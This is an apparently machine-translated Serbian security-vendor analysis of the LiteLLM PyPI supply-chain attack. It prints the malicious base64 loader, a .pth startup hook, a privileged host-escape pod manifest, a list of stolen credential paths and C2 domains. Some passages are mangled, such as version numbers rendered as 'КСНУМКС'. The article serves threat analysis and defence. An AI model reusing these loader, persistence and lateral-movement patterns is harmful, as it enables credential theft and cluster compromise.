Напад на ланац снабдевања LiteLLM

Напад на ланац снабдевања LiteLLM: Како је TeamPCP открио AI инфраструктуру

Зашто Ова Маттерс

24. марта 2026. године, популарни Пајтон пакет litellm, универзални LLM прокси гејтвеј који користе хиљаде enterpriseза усмеравање саобраћаја између апликација и добављача вештачке интелигенције као што су OpenAI, Anthropic, Google и AWS Bedrock, тихо је угрожен на PyPI-ју. Две заражене верзије (1.82.7 и 1.82.8) објављене су у року од 13 минута једна од друге, носећи вишестепени корисни терет који је крао акредитиве, изнуђивао тајне у облаку, ширио се латерално преко Kubernetes кластера и инсталирао трајни бекдор са могућностима даљинског извршавања кода.

Са приближно 3.6 милиона дневних преузимања и дубоким распоређивањем у cloud-native AI инфраструктури, Litellm се налази на раскрсници свега што модерни нападачи желе: API кључеви за сваког главног AI добављача, cloud IAM акредитиви, Kubernetes тајне и SSH кључеви.

Али компромис Litellm није био изолован догађај. Био је то кулминација Петодневна кампања која обухвата пет екосистема од стране актера претње познатог као TeamPCP, кампања која је прво затровала безбедносне скенере (Aqua Trivy, Checkmarx KICS), а затим користила украдене CI/CD акредитиве за каскадно преношење низводно у npm, OpenVSX и коначно PyPI. Нападачи су оружје искористили управо оне алате на које се организације ослањају да би заштитиле своје ланце снабдевања.

Овај напад представља значајну промену у софистицираности претњи ланцу снабдевања. Дизајн са вишеструким преласком, који прелази преко екосистема, угрожава безбедносне алате како би се постигла висока вредност. Инфраструктура вештачке интелигенције, одражава ниво планирања и оперативне зрелости у складу са све више комерцијализованим алатима за нападе. Корисни терет је понављан у реалном времену (три варијанте корисног оптерећења се појављују у изворном коду, укључујући и коментарисане раније верзије), C2 инфраструктура је регистрована дан пре напада, а домени за ексфилтрацију су пажљиво одабрани да имитирају инфраструктуру легитимних добављача. Систематски свеобухватни алат за прикупљање акредитива, који покрива преко 15 категорија, укључујући нишне циљеве попут Cardano кључева за потписивање и WireGuard конфигурација, сугерише степен темељности који указује на развој злонамерног софтвера уз помоћ вештачке интелигенције као мултипликатор силе.

Тимелине

Датум (UTC) догађај
Март 19 TeamPCP угрожава Aqua Trivy GitHub Action ознаке, замењујући их злонамерним кодом који се филтрира CI/CD тајне из низводних репозиторијума
Март 21 Компромис се протеже на Checkmarx KICS и AST GitHub акције користећи сличне технике
22. март, 06:35 БерриАИ објављује лителлм 1.82.6 (последњу чисту верзију) преко нормалног CI/CD pipeline који користи Trivy за безбедносно скенирање
Март 23 TeamPCP региструје models.litellm.cloud (домен за ексфилтрацију). Угрожава преко 66 npm пакета и OpenVSX екстензија.
24. март, 10:39 litellm 1.82.7 објављен у PyPI -- корисни терет убризган у proxy_server.py у опсегу модула. Извршава се при увозу
24. март, 10:52 litellm 1.82.8 објављен 13 минута касније -- додаје litellm_init.pth, кука за конфигурацију путање у Пајтону која се извршава при сваком покретању Пајтон интерпретера, не само при увозу litellm-а. Приказује брзу итерацију корисног оптерећења
24. март, ~16:00 PyPI уклања обе верзије након пријава заједнице. Верзије се потпуно бришу (не уклањају) из индекса, иако CDN tarball-ови остају доступни.

Време експозиције: приближно 5.5 сати. Током овог времена, било који pip install litellm, pip install --upgrade litellmили CI/CD pipeline повлачење најновије верзије би извршило корисни терет.

Како је злонамерни софтвер ушао: Каскадни компромис

Пакет litellm није директно пробијен. Нападач је до њега дошао преко напад на ланац снабдевања у два скока:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM CI/CD pipeline користио је Trivy као безбедносни скенер — управо алат дизајниран за откривање рањивости био је сам вектор напада. Јер је pipeline референцирано на Trivy помоћу ознаке за променљивост, а не закачено commit SHA, компромитованом акцијом је дошло до аутоматског покретања. Злонамерна Trivy акција је украла тајне окружења, укључујући PYPI_PUBLISH токен, дајући TeamPCP-у директан приступ објављивању пројекта litellm PyPI.

Ова стратегија „компромитовања чувара“ је обележје кампање TeamPCP. Циљајући прво безбедносне алате (Trivy, Checkmarx KICS), нападачи су истовремено онемогућили детекцију и добили привилегован приступ низводним ланцима снабдевања.

Техничка анализа: Корисни терет

Тачке убризгавања

Верзија КСНУМКС — Извршење на нивоу модула у litellm/proxy/proxy_server.py (ред 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Овај код се налази у области важења модула између речничког литерала и оригинала showwarning() функција. Извршава се одмах када litellm.proxy.proxy_server се увози — што се дешава при било којој употреби прокси функционалности Litellm-а.

Верзија КСНУМКС — Додато litellm_init.pth (Пајтон датотека за конфигурацију путање):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Питон .pth филес ин site-packages/ се обрађују при сваком покретању интерпретера, али само редови који почињу са import извршавају се као код. Нападач то искоришћава тако што цео корисни терет повезује на један import изјава: import os, subprocess, sys; subprocess.Popen(...)Ово је далеко агресивније од инјекције proxy_server.py — покреће се чак и ако litellm никада није увезен, при сваком покретању Пајтон процеса. pyproject.toml је измењено да би се ова датотека укључила у дистрибуцију:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Верзија 1.82.8 стога има две независне путање извршења: инјекција proxy_server.py (покреће се при увозу проксија из litellm-а) и датотека .pth (покреће се при било ком покретању Python-а). Редундантност је сама по себи значајна — она спречава откривање или уклањање било које путање појединачно. Ескалација од времена увоза до времена покретања само 13 минута након верзије 1.82.7 сугерише да је нападач пратио успех распоређивања и брзо извршавао итерације.

Фаза 1: Свеобухватно прикупљање акредитива

Декодирани унутрашњи скрипт је педантни вакуум акредитива. Користи os.walk()glob.glob()subprocess.check_output(), и директно читање датотека ради прегледа целог система:

Категорија Циљеви
Системска реконструкција hostname, whoami, uname -a, ip addr, printenv, ip route
ССХ ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; кључеви хоста од /etc/ssh/
Облак (AWS) ~/.aws/credentials, ~/.aws/configIMDS акредитиви за улогу путем 169.254.169.254Менаџер тајни ListSecretsССМ DescribeParameters
Облак (GCP) ~/.config/gcloud/ (рекурзивно); $GOOGLE_APPLICATION_CREDENTIALS
Облак (Азур) ~/.azure/ (рекурзивно); променљиве окружења
Кубернетес Токени сервисног налога; ca.crtименски простор; kubectl get secrets --all-namespacesсве тајне преко K8s API-ја
Датотеке окружења .env, .env.local, .env.production, .env.development, .env.staging — претраживано рекурзивно (дубина 6) по /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
лучки радник ~/.docker/config.json, /kaniko/.docker/config.json
Токени пакета ~/.npmrc, ~/.vault-token, ~/.netrc
Базе података ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB конфигурације
ТЛС / ССЛ Приватни кључеви од /etc/ssl/private/, Хајде да шифрујемо сертификате, све .pem/.key/.p12/.pfx датотеке
гит ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Крипто новчаници Биткоин, складиште кључева за Етереум, парови кључева за Солана (валидатор, гласање, улог, славина), кључеви за потписивање за Кардано, Лајткоин, Доџкоин, Зкеш, Деш, Рипл, Монеро
Историја шкољке .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Системска аутентификација /etc/passwd, /etc/shadow, евиденције овлашћења (прихваћене SSH сесије)
Вебхук/API кључеви Grep за Slack вебhooks, Дискорд вебhooks, API кључеви/тајне у конфигурационим датотекама
ВПН WireGuard конфигурације од /etc/wireguard/

Обим овог сакупљача података је енциклопедијски. Циља не само на клауд акредитиве, већ и на криптовалутне новчанике, лозинке за базе података, VPN конфигурације и CI/CD тајне — што сугерише да нападач намерава да монетизује компромитоване системе на више начина.

Фаза 2: Шифрована ексфилтрација

Украдени подаци се шифрују и извлаче помоћу хибридне шеме шифровања:

  • АЕС-256-ЦБЦ шифровање свих прикупљених података случајним кључем сесије од 32 бајта (преко openssl enc)
  • РСА-4096 шифровање кључа сесије коришћењем уграђеног јавног кључа нападача (OAEP допуњавање, путем openssl pkeyutl)
  • Обе датотеке шифрованог текста су у пакету као tpcp.tar.gz ( tpcp префикс — „TeamPCP“ — појављује се доследно током целе кампање)
  • HTTPS ПОШАЉИ ка https://models.litellm.cloud/ sa Content-Type: application/octet-stream

Домен models.litellm.cloud регистрован је 23. марта — дан пре напада — и дизајниран је да се уклопи са легитимном Litellm инфраструктуром (прави пројекат користи litellm.aiЧак и бранилац који је свестан мреже и прегледава излазни саобраћај можда неће означити саобраћај ка ономе што изгледа као крајња тачка модела компаније Litellm.

Фаза 3: Упорни задњи доњи врата (sysmon.py)

Корисни терет инсталира задња врата за анкетирање прикривена као системска телеметрија:

  • Путања~/.config/sysmon/sysmon.py
  • сервисsysmon.service (корисничка јединица systemd, описана као „Системска телеметријска услуга“)
  • ПонашањеНакон почетних 300 секунди сна, анкете https://checkmarx.zone/raw сваких ~50 минута
  • ИзвршењеПреузима URL који је вратио C2 на /tmp/pglog, поставља га у извршни формат (chmod 755), покреће га у одвојеној сесији
  • Праћење стања/tmp/.pg_state спречава поновно преузимање истог корисног терета
  • ИстрајностRestart=alwaysRestartSec=10 — преживљава падове и поновна покретања

Домен checkmarx.zone је грешка у писању речи Checkmarx (безбедносна компанија у checkmarx.com), дизајнирано тако да SOC аналитичари који прегледају мрежне логове виде саобраћај ка ономе што изгледа као легитимни добављач безбедносних услуга. Ово је намерна техника избегавања у складу са широм стратегијом TeamPCP-а да се сакрије иза брендирања добављача безбедносних услуга.

Фаза 3б: Кубернетес латерално кретање

Ако угрожени систем има акредитиве за Kubernetes сервисни налог, злонамерни софтвер набраја све чворове кластера и распоређује их. привилеговани подови сваком од њих:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Свака капсула:

  • Покреће се као привилеговано sa hostPIDhostNetworkи потпун приступ фајл систему хоста
  • vi користите chroot /host да инсталирам исто sysmon.py задња врата на коренском фајл систему хоста
  • Региструје га као системску услугу, осигуравајући да опстанак преживи брисање под-а
  • Назван node-setup-* у kube-system именски простор да се појављује као легитимна кластерска инфраструктура

То значи а један угрожен CI/CD Тркач са K8s приступом може довести до тога да сваки чвор у кластеру буде бекдорован. — катастрофални сценарио бочног кретања за организације које користе Litellm као прокси у Кубернетесу.

Еволуција корисног терета (коментарисане варијанте)

Изворни код у редовима 131-132 садржи две раније варијанте корисног оптерећења које су биле искромпане, откривајући процес развоја нападача:

  • Све три варијанте деле исту инфраструктуру за ексфилтрацију (models.litellm.cloud), јавни кључ RSA-4096, хибридни омотач за шифровање AES-256-CBC + RSA и tpcp.tar.gz именовање пакета
  • Раније варијанте додао RC4 слој шифровања унутар скрипте за прикупљање података, шифрујући прикупљене податке пре спољашњег AES+RSA омотача. Активни корисни терет (линија 130) је поједностављен уклањањем овог унутрашњег RC4 слоја
  • Раније варијанте користе exec() sa StringIO снимање за покретање колектора у процесу, док активни корисни терет користи subprocess.run() са stdout преусмеравањем — чистијим раздвајањем које избегава загађење хост процеса
  • Све три варијанте циљају исте категорије акредитива и путање прикупљања
  • RC4 тастер у ранијим варијантама био је провокативна увреда, у складу са глумчевим понашањем у потрази за пажњом на Телеграму.

Ово открива активан развој током операције. Нападач је поједноставио стек за шифровање и побољшао изолацију извршавања, док је истовремено одржавао стабилност циљева прикупљања података и инфраструктуре за извлачење података.

Индикатори компромиса (МОК)

мрежа

Индикатор тип Намена
models.litellm.cloud Домен Крајња тачка ексфилтрације (ХТТПС ПОСТ)
checkmarx.zone Домен Крајња тачка анкетирања C2 (HTTPS GET /raw)

Напомена: Линкови за екстерно извештавање checkmarx.zone/static/checkmarx-util-1.0.4.tgz до раније KICS фазе TeamPCP кампање. Овај URL није пронађен у овде анализираним корисним подацима litellm-а.

Хешеви пакета

Фајл СХАКСНУМКС
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Филе Систем

Индикатор тип Намена
~/.config/sysmon/sysmon.py Фајл Упорни скрипт за заштитна врата
~/.config/systemd/user/sysmon.service Фајл Јединица за перзистенцију Systemd-а
/tmp/pglog Фајл Преузета бинарна датотека друге фазе
/tmp/.pg_state Фајл Праћење стања C2
litellm_init.pth in site-packages/ Фајл Пајтон покретачки хоок (само за верзију 1.82.8)
tpcp.tar.gz Фајл Шифровани пакет за ексфилтрацију

Кубернетес

Индикатор тип Намена
node-setup-* махуне у kube-system Махуна Привилеговане капсуле за бочно кретање
sysmon.service на чворовима кластера сервис Перзистентност на нивоу хоста путем излаза из под-а

Криптографски

Индикатор Detalji
Јавни кључ нападача RSA-4096 SHA256 отисак прста: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Уграђено у све три варијанте корисног оптерећења; исти кључ је пријављен у другим TeamPCP операцијама.
tpcp префикс у артефактима Конвенција именовања пакета (tpcp.tar.gz) доследно током целе кампање

Атрибуција: TeamPCP

Прати се претња која стоји иза ове кампање TeamPCP, такође познат као PCPcat, Persy_PCP, ShellForce и DeadCatx3.

Познате карактеристике:

  • Одржава Телеграм канале на @Persy_PCP   @teampcp где су исмевали безбедносне компаније
  • Ради у више екосистема (GitHub Actions, PyPI, npm, OpenVSX)
  • Користи типосквот домене специфичне за добављача за сваку фазу кампање (нпр. checkmarx.zone за Чекмаркс, models.litellm.cloud за литлм)
  • Конзистентни маркери инфраструктуре: исти RSA пар кључева, tpcp.tar.gz конвенција именовања, tpcp-docs-* GitHub репозиторијуми који се користе као „dead-drop“ припремна окружења
  • Циља безбедносне алате као улазне тачке ка низводним ланцима снабдевања

Поузданост атрибуције: Високо. Дељени RSA јавни кључ, tpcp Именовање артефаката, преклапање C2 инфраструктуре и оперативни темпо током петодневне кампање снажно повезују компромисе Trivy, KICS, npm, OpenVSX и litellm са истим актером.

МотивацијаВероватно финансијске разлоге (крађа крипто новчаника, монетизација акредитива у облаку) у комбинацији са озлоглашеношћу (задиркивање у Телеграму). Ширина прикупљања акредитива — од AWS IAM-а до Solana парова кључева валидатора до WireGuard конфигурација — сугерише финансијски мотивисаног актера који жели да максимизира повраћај улагања од сваког компромиса.

Могућа помоћ вештачке интелигенцијеАлат за прикупљање акредитива је систематски свеобухватан — преко 15 категорија, укључујући нишне циљеве попут Cardano кључева за потписивање, WireGuard конфигурација и Kaniko Docker акредитива — на начин који је у складу са набрајањем уз помоћ вештачке интелигенције. Брзина итерације корисног оптерећења (три варијанте са различитим шемама шифровања), координација између екосистема (5 екосистема за 5 дана) и оперативни OPSEC (домени који се лажно представљају као добављачи, хибридно шифровање, перзистентност системског кода прикривена као телеметрија) сугеришу ниво пропусности који може одражавати развој уз помоћ вештачке интелигенције као мултипликатор силе. Ова процена је спекулативна; вешти оператери би могли постићи сличан обим без алата за вештачку интелигенцију.

Нови ТТП-ови и технике

1. Тровање ланца снабдевања безбедносним алатом (варијанта T1195.002)

Компромитовање безбедносних скенера (Trivy, KICS) као прве скочне тачке за достизање низводних циљева представља нову ескалацију. Нападач није само компромитовао библиотеку — компромитовао је алате које организације користе за... открити компромитоване библиотеке. Ово ствара слепу тачку: скенер који би требало да открије злонамерни код је сам по себи механизам испоруке.

КСНУМКС. Питхон .pth Трајност датотеке (T1546)

 litellm_init.pth Техника у верзији 1.82.8 је посебно подмукла. Пајтон .pth филес ин site-packages/ обрађују се при сваком покретању интерпретера; било који ред који почиње са import се извршава као код. Уланчавањем корисног терета на један import изјавом, нападач постиже извршење на сваком Пајтон процесу — не само када се litellm увезе. То значи да се корисни терет активира чак и ако је litellm инсталиран, али се никада не користи, и да преживи санацију која замењује угрожени .py датотеке без провере .pth датотеке.

3. Латерално кретање кроз цео кластер Kubernetes-а путем распоређивања привилегованих под-ова (T1610, T1611)

Аутоматизовано креирање привилегованих подова на сваком чвору кластера — са hostPIDhostNetwork, монтирање фајл система хоста и chroot да се инсталира перзистентност — повезује распоређивање контејнера (T1610) са бекством до хоста (T1611) да би се једно угрожено радно оптерећење претворило у потпуно угрожени кластер.

4. Инфраструктура C2 која се лажно представља као добављач

Коришћење models.litellm.cloud (имитира litellm) и checkmarx.zone (имитира Checkmarx) као C2/exfil крајње тачке је дизајнирано да избегне праћење мреже. SOC аналитичари који прегледају излазни саобраћај видели би HTTPS везе ка ономе што изгледа као легитимни домени добављача.

5. Брза итерација корисног терета током лета

Објављивање верзије 1.82.7 са извршавањем при увозу, а затим и верзије 1.82.8 са извршавањем при покретању 13 минута касније, показује да нападач прати и прилагођава се у реалном времену. Коментарисане варијанте корисног оптерећења (са различитим шемама шифровања) сачуване у изворном коду потврђују активан развој током операције.

Шта може да се уради

Овај напад искоришћава поверење на сваком слоју: поверење у безбедносне алате, поверење у регистре пакета, поверење у познате домене, поверење у CI/CD аутоматизација. Одбрана од ње захтева јачање сваке од ових граница поверења:

За кориснике пакета

  • Закачи зависности по хешу, не само по верзији. pip install litellm==1.82.6 --hash=sha256:... би спречило инсталирање компромитованих верзија чак и ако би се оне накратко појавиле као најновија верзија.
  • Користите закључане датотеке. pip-compilepoetry.lock, i uv.lock снимити тачне верзије и хешеве. CI/CD требало би да се инсталира из закључаних датотека, а не из спецификатора плутајуће верзије.
  • Монитор за .pth датотеке. Редовно вршите ревизију site-packages/ за неочекивано .pth датотеке — оне се извршавају при сваком покретању Пајтона и представљају недовољно цењен механизам перзистенције.
  • Имплементирајте контроле излазне мреже. Ексфилтрација до models.litellm.cloud и C2 анкетирање за checkmarx.zone могло је бити ухваћено филтрирањем излаза на основу дозвољене листе у производним окружењима.

За одржаваоце пакета

  • Пин CI/CD акције по commit SHA, не ознака. LiteLLM pipeline користио је Trivy без закачене верзије. Ако је референцирао aquasecurity/trivy-action@<commit-sha> УМЕСТО @latest, угрожена акција не би била извршена.
  • Користите краткотрајне, ограничене токене за објављивање. PyPI подржава поуздане издаваче (базиране на OIDC) и API токене са ограниченим дометом. Ексфилтрирани PYPI_PUBLISH Токен није требало да има дуготрајан, неограничен приступ објављивању.
  • Омогућите двофакторску аутентификацију на PyPI. Захтевајте двофакторску аутентификацију (2FA) за све одржаваоце и користите хардверске безбедносне кључеве где год је то могуће.
  • Потпишите пакете. Sigstore/PEP 740 атестације омогућавају потрошачима да провере да ли је пакет направљен очекиваним CI/CD pipeline, а не од стране нападача са украденим токеном.

За оператере платформи (PyPI, npm, GitHub)

  • Откријте аномалне обрасце објављивања. Две нове верзије објављене у размаку од 13 минута, са друге IP адресе или токена него обично, требало би да покрену задржавање ради прегледа или аутоматско скенирање пре него што пакет постане инсталиран.
  • Убрзајте усвајање програма Поуздани издавачи. Објављивање засновано на OIDC-у повезује пакете са одређеним репозиторијумима и радним процесима, чинећи украдене токене бескорисним ван оригинала CI/CD контекст.
  • Имплементирајте скенирање злонамерног софтвера приликом објављивања. Корисни терет декодиран base64-ом у proxy_server.py би био откривен статичком анализом у време објављивања.

За екосистем

  • Третирајте безбедносне алате као критичну инфраструктуру. Милиони људи користе Trivy и Checkmarx KICS pipelineЊихове GitHub акције треба да буду потписане, закачене и праћене са истом строгошћу као и пакети које скенирају.
  • Инвестирајте у детекцију током извршавања. Само статичка анализа не може да ухвати сваку технику обфускације. Праћење инсталације пакета током извршавања hooks, неочекиване мрежне везе и сумњиви обрасци приступа датотекама пружају дубинску одбрану.
  • Брже делите обавештајне податке о претњама. Временски оквир од 5.5 сати за litellm могао је бити краћи уз бржу координацију између добављача. Аутоматизоване услуге скенирања попут Xygeni MEW, Socket и Snyk откриле су аномалију — уско грло је људска потврда и време одзива регистра.

Закључак

Кампања TeamPCP је прекретница за software supply chain securityКомпромитовањем безбедносних скенера прво и њиховим коришћењем као одскочне даске ка високовредној вештачкој инфраструктури, нападачи су показали да је ланац снабдевања јак само колико и његова најслабија транзитивна зависност, и да би та зависност могла бити безбедносни алат коме верујете да ће вас заштитити.

Компромис са Litellm-ом посебно истиче растући ризик за инфраструктуру вештачке интелигенције. Како LLM прокси гејтвеји постају standard образац за enterprise Применом вештачке интелигенције, они концентришу приступ API кључевима, акредитивима за облак и осетљивим подацима у једној компоненти. Угрожавање те компоненте је скелетни кључ за цео вештачки интелигентни стек.

Организације које су инсталирале Litellm 1.82.7 или 1.82.8 током периода од 5.5 сати требало би да ово третирају као потпуни компромитовање акредитива: ротирају све тајне на погођеним системима, ревидирају Kubernetes кластере за node-setup-* махуне у kube-system, уклоните било који sysmon.service системске јединице и проверите litellm_init.pth у Питхону site-packages/ директоријуми. Корисници званичне слике Докера (ghcr.io/berriai/litellm) нису били погођени, јер је слика закачила своје зависности и није поново изграђена током прозора експозиције.

О аутору

Суоснивач и технички директор

Luis Rodriguez је суоснивач и технички директор у Xygeni Security. Са преко 20 година искуства у безбедности апликација, фокусира се на AppSec заштиту и напредне могућности анализе кода које помажу тимовима да смање стварни ризик испоруке.

 
sca-tools-software-composition-analysis-tools
Приоритизујте, отклоните и обезбедите ризике везане за ваш софтвер
Набавите свој бесплатни налог.
Није потребна кредитна картица.

Обезбедите свој развој и испоруку софтвера

са Xygeni пакетом производа